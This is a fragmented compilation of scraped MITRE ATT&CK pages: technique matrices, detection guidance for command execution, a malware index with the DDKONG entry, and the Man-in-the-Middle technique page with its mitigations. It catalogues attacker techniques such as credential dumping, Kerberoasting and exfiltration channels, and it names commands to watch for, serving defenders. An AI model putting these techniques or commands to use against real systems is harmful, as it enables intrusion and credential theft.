Other Network Medium (1) = Exfiltration Over Bluetooth Exfiltration Over Physical Medium (1) = Exfiltration over USB Exfiltration Over Web Service (2) = Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation (3) = Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement (2) = Internal Defacement External Defacement Disk Wipe (2) = Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service (4) = OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service (2) = Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Last modified: 03 November Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Command and Control Exfiltration Impact 8 techniques 8 techniques 15 techniques 10 techniques 19 techniques 13 techniques 20 techniques 7 techniques 14 techniques 16 techniques 8 techniques 13 techniques Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions = Phishing (3) Spearphishing Attachment Spearphishing Link Spearphishing via Service = Supply Chain Compromise (3) Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship = Valid Accounts (3) Default Accounts Domain Accounts Local Accounts = Command and Scripting Interpreter (5) AppleScript Unix Shell Visual Basic Python JavaScript Exploitation for Client Execution Inter-Process Communication Native API = Scheduled Task/Job (1) Cron Software Deployment Tools = System Services (1) Launchctl = User Execution (2) Malicious Link Malicious File = Account Manipulation (1) SSH Authorized Keys = Boot or Logon Autostart Execution (4) Kernel Modules and Extensions Re-opened Applications Plist Modification Login Items = Boot or Logon Initialization Scripts (3) Logon Script (Mac) RC Scripts Startup Items Browser Extensions Compromise Client Software Binary = Create Account (2) Local Account Domain Account = Create or Modify System Process (2) Launch Agent Launch Daemon = Event Triggered Execution (4) Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Emond External Remote Services = Hijack Execution Flow (2) Dynamic Linker Hijacking Dylib Hijacking = Modify Authentication Process (1) Pluggable Authentication Modules = Scheduled Task/Job (1) Cron = Server Software Component (1) Web Shell = Traffic Signaling (1) Port Knocking = Valid Accounts (3) Default Accounts Domain Accounts Local Accounts = Abuse Elevation Control Mechanism (3) Setuid and Setgid Sudo and Sudo Caching Elevated Execution with Prompt = Boot or Logon Autostart Execution (4) Kernel Modules and Extensions Re-opened Applications Plist Modification Login Items = Boot or Logon Initialization Scripts (3) Logon Script (Mac) RC Scripts Startup Items = Create or Modify System
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versions_v10_matrices_enterprise_macos.txt
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systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users. ICS T Data from Local System Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. Enterprise T Data from Network Shared Drive Monitor executed commands and arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. Enterprise T Data from Removable Media Monitor executed commands and arguments for actions that could be taken to collect files from a system's connected removable media. For example, data may be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. Enterprise T Data Staged Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. . Local Data Staging Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. . Remote Data Staging Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. Enterprise T Debugger Evasion Monitor executed commands and arguments that may employ various means to detect and avoid debugged environments. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Enterprise T Device Driver Discovery Monitor executed commands (lsmod, driverquery, etc.) with arguments highlighting potentially malicious attempts to enumerate device drivers. Enterprise T Direct Volume Access Monitor executed commands and arguments that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended. Enterprise T Disk Wipe Monitor for direct access read/write attempts using the \\.\ notation.[22] Monitor for unusual kernel driver installation activity. . Disk Content Wipe Monitor executed commands and arguments that may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. . Disk Structure Wipe Monitor executed commands and arguments that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Enterprise T Domain or Tenant Policy Modification Monitor executed commands and arguments for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.[23][24] . Group Policy Modification Monitor executed commands and arguments that may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. . Trust Modification Monitor executed commands and arguments that updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.[23] Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: "Federated Domain Name", or Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain.[25] Enterprise T Domain Trust Discovery Monitor executed commands and arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Enterprise T Email Collection Monitor executed processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule, Set-InboxRule, New-TransportRule, and Set-TransportRule PowerShell cmdlets.[26][27] . Local Email Collection Monitor executed commands and arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. . Remote Email Collection Monitor executed commands and arguments for actions that may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. . Email Forwarding Rule On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule, Set-InboxRule, New-TransportRule, and Set-TransportRule PowerShell cmdlets.[26][27] Enterprise T Event Triggered Execution Monitor executed commands and arguments that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. . Change Default File Association Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by a file type association. . Screensaver Monitor executed commands and arguments of .scr files. . Windows Management Instrumentation Event Subscription Monitor executed commands and arguments that can be used to register WMI persistence, such as the Register-WmiEvent PowerShell cmdlet [28] . Unix Shell Configuration Modification Monitor executed commands and arguments that may establish persistence through executing malicious commands triggered by a user’s shell. . Trap Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by an interrupt signal. . LC_LOAD_DYLIB Addition Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by the execution of tainted binaries. . Netsh Helper DLL Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by Netsh Helper DLLs. . Accessibility Features Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Note: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of Accessibility Features. . AppCert DLLs Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. . AppInit DLLs Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. . Application Shimming Monitor executed commands and arguments for sdbinst.exe for potential indications of application shim abuse. . Image File Execution Options Injection Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. . PowerShell Profile Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules. . Emond Monitor executed commands and arguments that may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). . Component Object Model Hijacking Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. Note: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on changes to COM registry keys, including HKCU\Software\Classes\CLSID*. . Installer Packages Monitor executed commands and arguments that may be related to abuse of installer packages, including malicious commands triggered by application installations. Enterprise T Execution Guardrails Monitor executed commands and arguments that may gather information about the victim's business relationships that can be used during targeting. Detecting the use of guardrails may be difficult depending on the implementation. . Environmental Keying Monitor executed commands and arguments that may gather the victim's physical location(s) that can be used during targeting. Detecting the use of environmental keying may be difficult depending on the implementation. Enterprise T Exfiltration Over Alternative Protocol Monitor executed commands and arguments that may steal data by exfiltrating it over a
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versions_v15_datasources_DS0017.txt
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Currently viewing ATT&CK v5.2 which was live between July 31, 2019 and October 23, 2019. Learn more about the versioning system or see the live site. Register to stream ATT&CKcon 2.0 October 29- SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre Ebury Elise ELMER Emissary Emotet Empire Epic EvilBunny EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FLIPSIDE Forfiles FruitFly FTP Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic EvilBunny EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FLIPSIDE Forfiles FruitFly FTP G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell - Home - Software - DDKONG DDKONG DDKONG is a malware sample that was part of a campaign by Rancor. DDKONG was first seen used in February 2017. [1] ID: S Type: MALWARE Platforms: Windows Version: 1. ATT&CK™ Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Custom Command and Control Protocol DDKONG communicates over raw TCP. [1] Enterprise T Deobfuscate/Decode Files or Information DDKONG decodes an embedded configuration using XOR. [1] Enterprise T File and Directory Discovery DDKONG lists files on the victim’s machine. [1] Enterprise T Remote File Copy DDKONG downloads and uploads files on the victim’s machine. [1] Enterprise T Rundll DDKONG uses Rundll32 to ensure only a single instance of itself is running at once. [1] Groups That Use This Software ID Name References G Rancor [1] References - Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.
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versions_v5_software_S0255.txt
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Metadata API Group Policy Preferences Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Domain Groups Cloud Groups Local Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Pass the Hash Pass the Ticket Application Access Token Web Session Cookie Collection Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man in the Browser Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Domain Generation Algorithms Fast Flux DNS DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Native Code Persistence Abuse Device Administrator Access to Prevent Removal Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Privilege Escalation Code Injection Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Suppress Application Icon Uninstall Malicious Application Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Man-in-the-Middle Man-in-the-Middle Sub-techniques (2) ID Name T1557. LLMNR/NBT-NS Poisoning and SMB Relay T1557. ARP Cache Poisoning Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.[1] Adversaries may leverage the MiTM position to attempt to modify traffic, such as in Transmitted Data Manipulation. Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. ID: T Sub-techniques: T1557.001, T1557. Tactics: Credential Access, Collection Platforms: Linux, Windows, macOS Permissions Required: User Data Sources: File monitoring, Netflow/Enclave netflow, Packet capture CAPEC ID: CAPEC- Contributors: Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project Version: 1. Created: 11 February Last Modified: 16 October Version Permalink Live Version Mitigations Mitigation Description Disable or Remove Feature or Program Disable legacy network protocols that may be used for MiTM if applicable and they are not needed within an environment. Encrypt Sensitive Information Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS. Filter Network Traffic Use network appliances and host-based security software to block network traffic that is not necessary within the environment, such as legacy protocols that may be leveraged for MiTM. Limit Access to Resource Over Network Limit access to network infrastructure and resources that can be used to reshape traffic or otherwise produce MiTM conditions. Network Intrusion Prevention Network intrusion detection and prevention systems that can identify traffic patterns indicative of MiTM activity can be used to mitigate activity at the network level. Network Segmentation Network segmentation can be used to isolate infrastructure components that do not require broad network access. This may mitigate, or at least alleviate, the scope of MiTM activity. User Training Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to MiTM HTTPS traffic. Certificate errors may arise when the application’s certificate does not match the one expected by the host. Detection Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. References - Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. × load more results
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versions_v8_techniques_T1557.txt
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Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Group Policy Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Language Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Browser Session Hijacking Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Code Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric 